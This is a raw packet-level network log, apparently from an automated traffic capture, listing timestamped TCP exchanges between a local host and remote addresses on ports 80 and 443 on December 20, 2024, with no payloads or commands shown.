Dec 20, 2024 13:12:27.305448055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.306397915 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.306468010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.306512117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.306566000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.307382107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.307434082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.307485104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.307537079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.308410883 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.308463097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.308536053 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.308593035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.309573889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.309622049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.309715033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.309760094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.310403109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.310452938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.448381901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.448395967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.448431015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.448455095 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.448642015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.448687077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.448832035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.448877096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.449080944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.449126959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.449212074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.449255943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.450134039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.450181007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.450193882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.450239897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.451257944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.451339960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.451360941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.451412916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.452476025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.452524900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.452593088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.452639103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.456326962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.456396103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.456490993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.456502914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.456516027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.456526995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.456541061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.456542015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.456573963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.456617117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.457005978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.457056046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.457179070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.457218885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.458040953 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.458086967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.458229065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.458276033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.459335089 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.459384918 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.459487915 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.459536076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.459997892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.460047007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.460320950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.460370064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.461167097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.461185932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.461215019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.461232901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.462212086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.462224960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.462264061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.462285042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.463218927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.463231087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.463267088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.463289976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.464328051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.464339972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.464432001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.464801073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.464834929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.464862108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.464884043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.464934111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.465842962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.465895891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.466007948 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.466053963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.466958046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.467005968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.467056990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.467103004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.468024969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.468082905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.468168020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.468213081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.469175100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.469222069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.469228983 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.469274998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.470171928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.470216036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.470382929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.470427036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.471280098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.471297979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.471333981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.471344948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.472424984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.472443104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.472482920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.472506046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.473510981 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.473556042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.473576069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.473629951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.473973989 CET	443	49873	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:27.474111080 CET	443	49873	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:27.474195957 CET	49873	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:27.474281073 CET	49873	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:27.474323988 CET	443	49873	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:27.474445105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.474499941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.474602938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.474651098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.475518942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.475570917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.475660086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.475703955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.476502895 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.476561069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.476707935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.476758957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.477777004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.477838039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.477921009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.477972984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.478502035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.478553057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.478584051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.478631973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.479559898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.479613066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.479645967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.479697943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.480739117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.480787039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.480812073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.480859041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.481909990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.481975079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.482049942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.482095957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.483184099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.483195066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.483233929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.484258890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.484321117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.484400034 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.484447956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.485554934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.485565901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.485615969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.486387014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.486439943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.486674070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.486731052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.487237930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.487287045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.487319946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.487368107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.487993956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.488039970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.488058090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.488101006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.488926888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.488976955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.489039898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.489082098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.490104914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.490150928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.490236044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.490282059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.491234064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.491245985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.491293907 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.492012978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.492089033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.492180109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.492229939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.493158102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.493205070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.493320942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.493376970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.494303942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.494354963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.494432926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.494478941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.495373011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.495423079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.495759964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.495810986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.496380091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.496428967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.496488094 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.496536016 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.497390985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.497402906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.497438908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.497462988 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.498347044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.498397112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.498410940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.498460054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.499391079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.499439001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.499643087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.499694109 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.500597000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.500607967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.500658035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.501501083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.501564026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.501580954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.501696110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.502618074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.502667904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.548655033 CET	49879	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:27.548743963 CET	443	49879	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:27.548990011 CET	49879	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:27.549273014 CET	49879	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:27.549310923 CET	443	49879	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:27.640142918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.640204906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.640273094 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.640362978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.640625000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.640708923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.640897036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.640948057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.641716957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.641729116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.641772032 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.642709970 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.642765045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.642925024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.642977953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.643831968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.643898010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.643920898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.643981934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.644804955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.644860029 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.645028114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.645082951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.645939112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.646049976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.646116018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.646172047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.646991968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.647027969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.647048950 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.647078991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.647948980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.648008108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.648020029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.648077011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.648976088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.649034023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.649097919 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.649156094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.650135994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.650193930 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.650207996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.650275946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.651238918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.651273012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.651297092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.651325941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.652298927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.652333975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.652355909 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.652384043 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.653204918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.653260946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.653322935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.653378963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.654372931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.654407024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.654438972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.654453993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.655385017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.655441999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.655503988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.655560017 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.656316996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.656375885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.656620979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.656677008 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.657398939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.657454014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.657529116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.657593966 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.658407927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.658463955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.658510923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.658564091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.659488916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.659544945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.659756899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.659811020 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.660531044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.660582066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.660583019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.660633087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.661587000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.661643982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.661679029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.661734104 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.662635088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.662689924 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.662707090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.662763119 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.663682938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.663738012 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.663816929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.663868904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.664741993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.664794922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.664851904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.665707111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.665766001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.665843010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.665899038 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.666862965 CET	80	49859	31.41.244.11	192.168.2.5
